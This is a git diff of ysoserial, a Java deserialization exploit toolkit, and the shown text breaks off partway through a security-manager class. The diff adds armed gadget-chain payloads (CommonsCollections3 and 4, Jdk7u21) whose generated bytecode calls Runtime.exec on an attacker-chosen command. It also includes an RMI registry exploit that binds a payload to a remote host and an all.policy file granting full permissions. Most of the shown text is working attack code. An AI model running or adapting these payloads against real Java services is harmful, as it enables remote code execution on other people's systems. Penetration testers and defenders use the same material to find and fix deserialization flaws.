diff --git a/all.policy b/all.policy new file mode 100755 index 0000000..c26e27b --- /dev/null +++ b/all.policy @@ -0,0 +1,3 @@ +grant { + permission java.security.AllPermission; +}; \ No newline at end of file diff --git a/pom.xml b/pom.xml index ee5cf36..7523eaa 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ ysoserial ysoserial - 0.0.2-SNAPSHOT + 0.0.3-SNAPSHOT jar ysoserial @@ -22,15 +22,15 @@ 3.2 1.5 - 1.5 + 1.5 maven-assembly-plugin ${project.artifactId}-${project.version}-all - false - + false + ysoserial.GeneratePayload @@ -53,7 +53,7 @@ - + @@ -93,7 +93,7 @@ javassist 3.19.0-GA - + @@ -105,7 +105,7 @@ org.apache.commons commons-collections4 4.0 - + org.apache.commons commons-lang3 diff --git a/src/main/java/Tester.java b/src/main/java/Tester.java new file mode 100755 index 0000000..f60cb10 --- /dev/null +++ b/src/main/java/Tester.java @@ -0,0 +1,97 @@ +import java.beans.EventHandler; +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +import javassist.util.proxy.ProxyFactory; + +import javax.xml.transform.Templates; + +import sun.misc.Unsafe; +import ysoserial.Deserializer; +import ysoserial.Serializer; +import ysoserial.payloads.util.Gadgets; + + +public class Tester { + public static class Foo { + public boolean value() { + System.out.println("called"); + return true; + } + } + + public static void main(String[] args) throws Exception { + +// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class); +// +// t.equals(new Foo()); + + + ProxyFactory pf2 = new ProxyFactory(); + ProxyFactory pf = new ProxyFactory(); + + pf.setInterfaces(new Class[]{ Serializable.class }); + pf.setSuperclass(EventHandler.class); + pf.setUseWriteReplace(true); + pf.setUseCache(false); + + // public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) { + + + Templates t = Gadgets.createTemplatesImpl("hostname"); + + Class c = pf.createClass(); + + Constructor ctor = c.getConstructors()[0]; + ctor.setAccessible(true); + + Object o = ctor.newInstance(t, "getOutputProperties", null, null); + + + //Object o = getUnsafe().allocateInstance(c); + + //Object o = c.newInstance(); + +// System.out.println(pf); +// System.out.println(pf.hashCode()); +// System.out.println(c); + System.out.println(c.getName()); + System.out.println(o.getClass().getName()); +// System.out.println(o); +// System.out.println(Arrays.asList(c.getInterfaces())); + + byte[] serialized = Serializer.serialize(o); +// +//// System.out.write(serialized); +// + try { + Object o2 = Deserializer.deserialize(serialized); + //System.out.println(o2); + System.out.println(o2.getClass()); + System.out.println(o2.getClass().getName()); + + o2 = Deserializer.deserialize(serialized); + System.out.println(o2.getClass()); + System.out.println(o2.getClass().getName()); + + o2 = Deserializer.deserialize(serialized); + System.out.println(o2.getClass()); + System.out.println(o2.getClass().getName()); + } catch (Exception e) { + e.printStackTrace(); + } + + + getUnsafe().allocateInstance(Class.class); + + } + + public static Unsafe getUnsafe() { + try { + Field f = Unsafe.class.getDeclaredField("theUnsafe"); + f.setAccessible(true); + return (Unsafe)f.get(null); + } catch (Exception e) { throw new RuntimeException(e); } + } +} diff --git a/src/main/java/ysoserial/Deserialize.java b/src/main/java/ysoserial/Deserialize.java deleted file mode 100644 index 64d2d65..0000000 --- a/src/main/java/ysoserial/Deserialize.java +++ /dev/null @@ -1,18 +0,0 @@ -package ysoserial; - -import java.io.File; -import java.io.FileInputStream; -import java.io.IOException; -import java.io.InputStream; - -import ysoserial.payloads.util.Serializables; - -/* - * for testing payloads across process boundaries - */ -public class Deserialize { - public static void main(final String[] args) throws ClassNotFoundException, IOException { - final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); - Serializables.deserialize(in); - } -} diff --git a/src/main/java/ysoserial/Deserializer.java b/src/main/java/ysoserial/Deserializer.java new file mode 100755 index 0000000..7d61d17 --- /dev/null +++ b/src/main/java/ysoserial/Deserializer.java @@ -0,0 +1,34 @@ +package ysoserial; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.util.concurrent.Callable; + +public class Deserializer implements Callable { + private final byte[] bytes; + + public Deserializer(byte[] bytes) { this.bytes = bytes; } + + public Object call() throws Exception { + return deserialize(bytes); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + + public static void main(String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Object object = deserialize(in); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/ExecBlockingSecurityManager.java b/src/main/java/ysoserial/ExecBlockingSecurityManager.java deleted file mode 100644 index 042ca1f..0000000 --- a/src/main/java/ysoserial/ExecBlockingSecurityManager.java +++ /dev/null @@ -1,44 +0,0 @@ -package ysoserial; - -import java.security.Permission; -import java.util.concurrent.Callable; - -public class ExecBlockingSecurityManager extends SecurityManager { - @Override - public void checkPermission(final Permission perm) { } - - @Override - public void checkPermission(final Permission perm, final Object context) { } - - public void checkExec(final String cmd) { - super.checkExec(cmd); - // throw a special exception to ensure we can detect exec() in the test - throw new ExecException(cmd); - }; - - @SuppressWarnings("serial") - public static class ExecException extends RuntimeException { - private final String cmd; - public ExecException(String cmd) { this.cmd = cmd; } - public String getCmd() { return cmd; } - } - - public static void wrap(final Runnable runnable) throws Exception { - wrap(new Callable(){ - public Void call() throws Exception { - runnable.run(); - return null; - } - }); - } - - public static T wrap(final Callable callable) throws Exception { - SecurityManager sm = System.getSecurityManager(); - System.setSecurityManager(new ExecBlockingSecurityManager()); - try { - return callable.call(); - } finally { - System.setSecurityManager(sm); - } - } -} \ No newline at end of file diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 7f2ca55..e6e41df 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -1,16 +1,15 @@ package ysoserial; -import java.io.ObjectOutputStream; +import java.io.PrintStream; import java.util.ArrayList; -import java.util.Collection; +import java.util.Arrays; import java.util.Collections; import java.util.Comparator; import java.util.List; -import java.util.Set; - -import org.reflections.Reflections; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.annotation.Dependencies; @SuppressWarnings("rawtypes") public class GeneratePayload { @@ -25,62 +24,41 @@ public class GeneratePayload { } final String payloadType = args[0]; final String command = args[1]; - - final Class payloadClass = getPayloadClass(payloadType); - if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + + final Class payloadClass = Utils.getPayloadClass(payloadType); + if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); } - + try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); - final ObjectOutputStream objOut = new ObjectOutputStream(System.out); - objOut.writeObject(object); + PrintStream out = System.out; + Serializer.serialize(object, out); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); - } - System.exit(0); - } - - @SuppressWarnings("unchecked") - private static Class getPayloadClass(final String className) { - try { - return (Class) Class.forName(className); - } catch (Exception e1) { } - try { - return (Class) Class.forName(GeneratePayload.class.getPackage().getName() - + ".payloads." + className); - } catch (Exception e2) { - } - return null; + System.exit(0); } - + private static void printUsage() { System.err.println("Y SO SERIAL?"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); - System.err.println("\tAvailable payload types:"); - final List> payloadClasses = - new ArrayList>(getPayloadClasses()); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize for (Class payloadClass : payloadClasses) { - System.err.println("\t\t" + payloadClass.getSimpleName()); + System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); } } - - // get payload classes by classpath scanning - private static Collection> getPayloadClasses() { - final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - return payloadTypes; - } public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } - } + } } diff --git a/src/main/java/ysoserial/Serializer.java b/src/main/java/ysoserial/Serializer.java new file mode 100755 index 0000000..a4d24ee --- /dev/null +++ b/src/main/java/ysoserial/Serializer.java @@ -0,0 +1,30 @@ +package ysoserial; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +public class Serializer implements Callable { + private final Object object; + public Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + +} \ No newline at end of file diff --git a/src/main/java/ysoserial/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java similarity index 52% rename from src/main/java/ysoserial/RMIRegistryExploit.java rename to src/main/java/ysoserial/exploit/RMIRegistryExploit.java index fe319bc..7286a00 100644 --- a/src/main/java/ysoserial/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -1,4 +1,4 @@ -package ysoserial; +package ysoserial.exploit; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; @@ -9,44 +9,41 @@ import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.util.Gadgets; +import ysoserial.secmgr.ExecCheckingSecurityManager; /* * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. - * + * * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ public class RMIRegistryExploit { public static void main(final String[] args) throws Exception { - // ensure payload doesn't detonate during construction or deserialization - ExecBlockingSecurityManager.wrap(new Callable(){public Void call() throws Exception { - Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); - String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; - Class payloadClass = (Class) Class.forName(className); - Object payload = payloadClass.newInstance().getObject(args[3]); - Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); + final String host = args[0]; + final int port = Integer.parseInt(args[1]); + final String command = args[3]; + final Registry registry = LocateRegistry.getRegistry(host, port); + final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + final Class payloadClass = (Class) Class.forName(className); + + // ensure payload doesn't detonate during construction or deserialization + exploit(registry, payloadClass, command); + } + + public static void exploit(final Registry registry, + final Class payloadClass, + final String command) throws Exception { + new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { + Object payload = payloadClass.newInstance().getObject(command); + String name = "pwned" + System.nanoTime(); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { - registry.bind("pwned", remote); - } catch (Throwable e) { - e.printStackTrace(); - } - - try { - String[] names = registry.list(); - for (String name : names) { - System.out.println("looking up '" + name + "'"); - try { - Remote rem = registry.lookup(name); - System.out.println(Arrays.asList(rem.getClass().getInterfaces())); - } catch (Throwable e) { - e.printStackTrace(); - } - } + registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } - + return null; }}); } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java old mode 100644 new mode 100755 index 785457e..bbfcd1c --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -14,7 +14,7 @@ import ysoserial.payloads.util.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* - Gadget chain: + Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... @@ -26,30 +26,30 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) -public class CommonsCollections2 implements ObjectPayload> { +public class CommonsCollections2 implements ObjectPayload> { - public Queue getObject(final String command) throws Exception { + public Queue getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - + // create queue with numbers and basic comparator - final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); + final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); // stub data for replacement later - queue.add(1); - queue.add(1); - + queue.add(1); + queue.add(1); + // switch method called by comparator - Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); - + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; - + return queue; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java new file mode 100755 index 0000000..a0cf572 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -0,0 +1,60 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { templatesImpl } )}; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections3.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java new file mode 100644 index 0000000..76c6f6c --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -0,0 +1,63 @@ +package ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[] { String.class }; + Object[] args = new Object[] { "foo" }; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections4.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java new file mode 100755 index 0000000..342f306 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -0,0 +1,86 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import javax.xml.transform.Templates; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +/* + +Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has +the same JRE version requirements. + +See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + +Call tree: + +LinkedHashSet.readObject() + LinkedHashSet.add() + ... + TemplatesImpl.hashCode() (X) + LinkedHashSet.add() + ... + Proxy(Templates).hashCode() (X) + AnnotationInvocationHandler.invoke() (X) + AnnotationInvocationHandler.hashCodeImpl() (X) + String.hashCode() (0) + AnnotationInvocationHandler.memberValueHashCode() (X) + TemplatesImpl.hashCode() (X) + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() + ... + MaliciousClass.() + ... + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies() +public class Jdk7u21 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); // swap in real object + + return set; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jdk7u21.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index d027157..3a8133f 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -1,9 +1,45 @@ package ysoserial.payloads; +import java.util.Set; + +import org.reflections.Reflections; + +import ysoserial.GeneratePayload; + public interface ObjectPayload { /* - * return armed payload object to be serialized that will execute specified + * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject(String command) throws Exception; + + public static class Utils { + // get payload classes by classpath scanning + public static Set> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + return payloadTypes; + } + + @SuppressWarnings("unchecked") + public + static Class getPayloadClass(final String className) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } catch (Exception e1) { + } + if (clazz == null) { + try { + return clazz = (Class) Class.forName(GeneratePayload.class.getPackage().getName() + + ".payloads." + className); + } catch (Exception e2) { + } + } + if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + } } diff --git a/src/main/java/ysoserial/payloads/annotation/Dependencies.java b/src/main/java/ysoserial/payloads/annotation/Dependencies.java index fc888e0..7ac4616 100644 --- a/src/main/java/ysoserial/payloads/annotation/Dependencies.java +++ b/src/main/java/ysoserial/payloads/annotation/Dependencies.java @@ -4,9 +4,21 @@ import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface Dependencies { String[] value() default {}; + + public static class Utils { + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + return new String[0]; + } + } + } } diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 821fa5e..ad6b18c 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -1,5 +1,7 @@ package ysoserial.payloads.util; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.InvocationHandler; @@ -24,37 +26,43 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler; */ @SuppressWarnings("restriction") public class Gadgets { - private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { - private static final long serialVersionUID = 8207363842866235160L; + private static final long serialVersionUID = 8207363842866235160L; } - public static T createMemoitizedProxy(final Map map, final Class iface, - final Class ... ifaces) throws Exception { - return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + public static T createMemoitizedProxy(final Map map, final Class iface, + final Class ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } - + public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[0] = iface; if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); } @@ -65,8 +73,8 @@ public class Gadgets { } public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); - + final TemplatesImpl templates = new TemplatesImpl(); + // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); @@ -75,17 +83,17 @@ public class Gadgets { // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); - + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + final byte[] classBytes = clazz.toBytecode(); - + // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); - + // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 7fe8a07..9e074b6 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -1,40 +1,41 @@ package ysoserial.payloads.util; -import static ysoserial.payloads.util.Serializables.deserialize; -import static ysoserial.payloads.util.Serializables.serialize; - import java.util.concurrent.Callable; -import ysoserial.ExecBlockingSecurityManager; +import ysoserial.Deserializer; +import ysoserial.Serializer; +import static ysoserial.Deserializer.deserialize; +import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; +import ysoserial.secmgr.ExecCheckingSecurityManager; /* * utility class for running exploits locally from command line */ @SuppressWarnings("unused") public class PayloadRunner { - public static void run(final Class> clazz, final String[] args) throws Exception { + public static void run(final Class> clazz, final String[] args) throws Exception { // ensure payload generation doesn't throw an exception - byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable(){ + byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ public byte[] call() throws Exception { final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; - + System.out.println("generating payload object(s) for command: '" + command + "'"); - + final Object objBefore = clazz.newInstance().getObject(command); - + System.out.println("serializing payload"); - - return serialize(objBefore); - }}); - - try { - System.out.println("deserializing payload"); - final Object objAfter = deserialize(serialized); + + return Serializer.serialize(objBefore); + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = Deserializer.deserialize(serialized); } catch (Exception e) { e.printStackTrace(); } - } - + } + } diff --git a/src/main/java/ysoserial/payloads/util/Serializables.java b/src/main/java/ysoserial/payloads/util/Serializables.java deleted file mode 100644 index 8c95732..0000000 --- a/src/main/java/ysoserial/payloads/util/Serializables.java +++ /dev/null @@ -1,34 +0,0 @@ -package ysoserial.payloads.util; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.io.OutputStream; - -public class Serializables { - - public static byte[] serialize(final Object obj) throws IOException { - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - serialize(obj, out); - return out.toByteArray(); - } - - public static void serialize(final Object obj, final OutputStream out) throws IOException { - final ObjectOutputStream objOut = new ObjectOutputStream(out); - objOut.writeObject(obj); - } - - public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { - final ByteArrayInputStream in = new ByteArrayInputStream(serialized); - return deserialize(in); - } - - public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { - final ObjectInputStream objIn = new ObjectInputStream(in); - return objIn.readObject(); - } - -} \ No newline at end of file diff --git a/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java new file mode 100755 index 0000000..d24cebc --- /dev/null +++ b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java @@ -0,0 +1,215 @@ +package ysoserial.secmgr; + +import java.io.FileDescriptor; +import java.net.InetAddress; +import java.security.Permission; + +public class DelegateSecurityManager extends SecurityManager { + private SecurityManager securityManager; + + public SecurityManager getSecurityManager() { + return securityManager; + } + + public void setSecurityManager(SecurityManager securityManager) { + this.securityManager = securityManager; + } + + @Override + public boolean getInCheck() { + return getSecurityManager().getInCheck(); + } + + @Override + public Object getSecurityContext() { + return getSecurityManager().getSecurityContext(); + } + + @Override + public void checkPermission(Permission perm) { + getSecurityManager().checkPermission(perm); + } + + @Override + public void checkPermission(Permission perm, Object context) { + getSecurityManager().checkPermission(perm, context); + } + + @Override + public void checkCreateClassLoader() { + getSecurityManager().checkCreateClassLoader(); + } + + @Override + public void checkAccess(Thread t) { + getSecurityManager().checkAccess(t); + } + + @Override + public void checkAccess(ThreadGroup g) { + + 